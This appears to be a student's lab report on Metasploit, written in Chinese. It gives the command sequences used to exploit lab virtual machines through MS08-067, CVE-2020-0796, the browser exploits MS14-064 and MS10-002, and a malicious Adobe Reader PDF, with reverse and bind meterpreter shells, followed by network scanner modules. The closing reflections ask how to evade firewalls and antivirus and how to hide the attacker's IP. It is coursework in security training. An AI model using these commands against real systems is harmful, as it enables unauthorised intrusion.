Exp6 MSF应用基础

目录

1 实验内容

  1.1 主动攻击

    1.1.1 CVE-2020-0796(永恒之黑)

    1.1.2 MS08-067

  1.2 针对浏览器攻击

    1.2.1 MS14_064

    1.2.2 MS10_002

  1.3 针对客户端攻击

  1.4 辅助模块(唯一)

    1.4.1 scanner/netbios/nbname

    1.4.2 scanner/portscan/tcp

    1.4.3 scanner/smb/smb_version

    1.4.4 scanner/discovery/udp_sweep

    1.4.5 scanner/db2/db2_version

    1.4.6 scanner/printer/printer_version_info

    1.4.7 scanner/ip/ipidseq

2 报告内容

  2.1 用自己的话解释什么是exploit、payload、encode

  2.2 离实战还缺些什么技术或步骤?

  2.3 实验总结与体会

 

1 实验内容

1.1 主动攻击

1.1.1 CVE-2020-0796(永恒之黑)

目标主机Windows10,参考视频如下。

https://www.bilibili.com/video/BV1Zf4y197wi

确保两台虚拟机能相互ping通。

在Linux端,扫描漏洞是否存在 bash CVE-2020-0796-Checker.sh -t 192.168.145.132 

生成Shellcode msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4316 -f py -o shell.txt 

将buf替换为USER_PAYLOAD。

替换exploit.py中对应内容。

启动监听 msfconsole 

 use exploit/multi/handler 

 set payload windows/x64/meterpreter/bind_tcp 

 set rhost 192.168.145.132 

 set lport 4316 

 run 

执行攻击 python3 exploit.py -ip 192.168.145.132 

获取Shell失败。

改变监听方向。

将buf替换为USER_PAYLOAD。

替换exploit.py中对应内容。

执行攻击,靶机蓝屏,获取Shell失败。

分析原因,参考博客如下。

https://blog.csdn.net/god_zzZ/article/details/106569237

更换系统,使用未安装更新的Windows 10专业版。

执行攻击,靶机蓝屏,获取Shell失败。

更换Python版本,执行攻击,靶机蓝屏,获取Shell失败。参考博客如下。

https://blog.csdn.net/robacco/article/details/88370437

 

1.1.2 MS08-067

目标最近Windows XP,确保能相互ping通。

扫描漏洞是否存在 nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.145.131 

漏洞存在。

扫描TCP445端口是否开放 use auxiliary/scanner/portscan/tcp 

 set RHOSTS 192.168.145.131 

 exploit 

端口开放。

攻击目标主机 use exploit/windows/smb/ms08_067_netapi 

 set payload generic/shell_reverse_tcp 

 set RHOST 192.168.145.131 

 set LHOST 192.168.145.129 

 exploit 

攻击失败。

更换系统,使用Windows 2000作为靶机,重复上述操作。

成功获取Shell。

 

1.2 针对浏览器攻击

1.2.1 MS14_064

目标主机Windows XP,在Linux端

 use exploit/windows/browser/ms14_064_ole_code_execution set payload windows/meterpreter/reverse_tcp 

 set SRVHOST 192.168.145.129 

 set AllowPowerShellPrompt 1 

 set LHOST 192.168.145.129 

 set LPORT 4316 

 set target 0 

 exploit 

在Windows XP端,使用IE浏览器访问URL http://192.168.145.129:8080/wITJTBG 

浏览器状态栏显示“下载”、“完毕”。

在Linux端,Ctrl+C退出当前进程。

查看建立的会话 sessions 

获取第一个会话的链接 sessions -i 1 

成功获取Shell。

 

1.2.2 MS10_002

在Linux端

 use exploit/windows/browser/ms10_002_aurora 

 set paylaod windows/meterpreter/reverse_tcp 

 set srvhost 192.168.145.129 

 set lport 4316 

 exploit 

重复1.2.1操作。

成功获取Shell。

 

1.3 针对客户端攻击

从Adobe官方的FTP服务器下载Adobe Reader,安装中文简体版AdbeRdr60_chs.exe。

ftp://ftp.adobe.com/pub/adobe/reader/win/

在Linux端,生成恶意PDF文档

 use windows/fileformat/adobe_cooltype_sing 

 set payload windows/meterpreter/reverse_tcp 

 set FILENAME 20184316.pdf 

 set LHOST 192.168.145.129 

 set RHOST 192.168.145.131 

 set LPORT 4316 

 exploit 

打开文件所在目录,将文件拷贝到root文件夹中

 cd /root/.msf4/local 

 ls 

 cp 20184316.pdf /root 

将文件拷贝至Windows XP端。

在Linux端,启动监听

 use exploit/multi/handler 

 set payload windows/meterpreter/reverse_tcp 

 set LHOST 192.168.145.129 

 set LPORT 4316 

 exploit 

在Windows XP端,用Adobe Reader打开20184316.pdf,软件报错,回连失败。

查阅相关博客得知,该漏洞对Adobe Reader版本有要求,建议使用9.0版,安装AdbeRdr90_zh_CN.exe。

重复上述操作,成功获取Shell。

 

1.4 辅助模块

1.4.1 scanner/netbios/nbname

查看MSF中可用的辅助模块列表

 msfconsole 

 show auxiliary 

选择822   scanner/netbios/nbname

 use auxiliary/scanner/netbios/nbname 

 show options 

设置具体参数

 set rhosts 192.168.80.128 

 exploit 

成功从netbios获取信息。

 

1.4.2 scanner/portscan/tcp

选择858   scanner/portscan/tcp

 use auxiliary/scanner/portscan/tcp 

 show options 

 set rhosts 192.168.145.131 

 exploit 

获取Windows XP上TCP使用的端口号。

 

1.4.3 scanner/smb/smb_version

选择956   scanner/smb/smb_version

 use auxiliary/scanner/smb/smb_version 

 show options 

 set rhosts 192.168.145.131 

 exploit 

获取Windows XP的SMB版本。

 

1.4.4 scanner/discovery/udp_sweep

选择486   scanner/discovery/udp_sweep

 use auxiliary/scanner/discovery/udp_sweep 

 show options 

 set rhosts 192.168.145.131 

 exploit 

获取Windows XP上常用的UDP服务。

 

1.4.5 scanner/db2/db2_version

选择471   scanner/db2/db2_version

 use auxiliary/scanner/db2/db2_version 

 show options 

 set rhosts 192.168.145.131 

 exploits 

获取Windows XP的db2版本。

 

1.4.6 scanner/printer/printer_version_info

选择873   scanner/printer/printer_version_info

 use auxiliary/scanner/printer/printer_version_info 

 show options 

 set rhosts 192.168.145.131 

 exploits 

 

1.4.7 scanner/ip/ipidseq

选择769   scanner/ip/ipidseq

 use auxiliary/scanner/ip/ipidseq 

 show options 

 set rhosts 192.168.145.120-192.168.145.150 

 exploit 

在实际攻击时,可以借助该模块,扫描一个IP段,确定具体IP。

下图可见,我只开了Windows XP一个虚拟机,只扫出对应的IP。

 

2 报告内容

2.1 用自己的话解释什么是exploit、payload、encode

exploit在英文中是“利用”的意思,我理解为“开始攻击、启动监听、使用漏洞”,既有“generate”的含义,也有“start”的含义。

payload在英文中是“有效载荷”的意思,我理解为真正发挥作用的恶意代码、模块。

encode在引文中是“编码、译码”的意思,我理解为对payload代码进行处理,删除无效段,变换特征段,使其更高效且不易被发现。

 

2.2 离实战还缺些什么技术或步骤?

如何确定目标,准确地掌握目标IP。

如果目标主机使用NAT接入互联网,怎样掌握其实时IP。

如何确保目标主机防火墙、防病毒开启下攻击仍能奏效。

如何不被反向发现,不暴露自身IP。

 

2.3 实验总结与体会

通过此次试验,我对MSF的了解程度更深了,逐渐认识到其强大、丰富的功能。同时,也认识到自己技术上的薄弱之处。总的来说,本课程的一系列实验让我受益匪浅,推动我真正去尝试一些之前只在课本上听过的高深莫测的攻击手段,也顺带让我更熟练地使用虚拟机。

posted @ 2021-05-09 11:13  Hamil  阅读(269)  评论(0)    收藏  举报